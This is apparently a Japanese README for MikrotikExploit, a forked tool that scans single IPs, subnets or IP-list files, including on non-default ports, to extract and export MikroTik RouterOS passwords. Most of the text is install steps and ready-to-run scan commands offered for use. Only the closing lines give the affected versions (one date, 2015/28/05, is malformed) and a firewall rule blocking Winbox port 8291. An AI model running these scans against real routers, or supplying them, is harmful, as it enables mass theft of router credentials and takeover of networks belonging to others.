
RouterOS パスワードのスキャンとエクスポート
RouterOS のパスワードをスキャンしてエクスポート
異なるポートでループ内の IPv4 サブネットをスキャンできます。
Ubuntu/Debian:
$ apt-get install python3
Ubuntu/Debian:
$ apt-get install python3-pip
Mac
$ ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)"
export PATH=/usr/local/bin:/usr/local/sbin:$PATH
$ brew install python3
$ pip3 install ipcalc
$ pip3 install requests
$ git clone https://github.com/miladdiaz/MikrotikExploit
$ cd MikrotikExploit
単一 IP のスキャン: スクリプトのルートディレクトリで
$ python3 loop.py 192.168.1.10
異なるポートでのスキャン
$ python3 loop.py 192.168.1.10 -p 8282
IP 範囲のスキャン
$ python3 loop.py 192.168.1.0/24
ファイルから IP リストをスキャン
$ python3 loop.py -f list.txt
6.29(リリース日: 2015/28/05)から 6.42(リリース日: 2018/04/20)までのすべてのバージョン
RouterOS をアップデートし、Winbox ログインを制限する
ip firewall filter add chain=input in-interface=wan protocol=tcp dst-port=8291 action=drop
このリポジトリは BigNerd95/Chimay-Red と BasuCert/WinboxPoC をフォークしたもので、サブネットスキャン、異なるポートの使用、IP リストファイルの使用のためにいくつかの変更を加えています。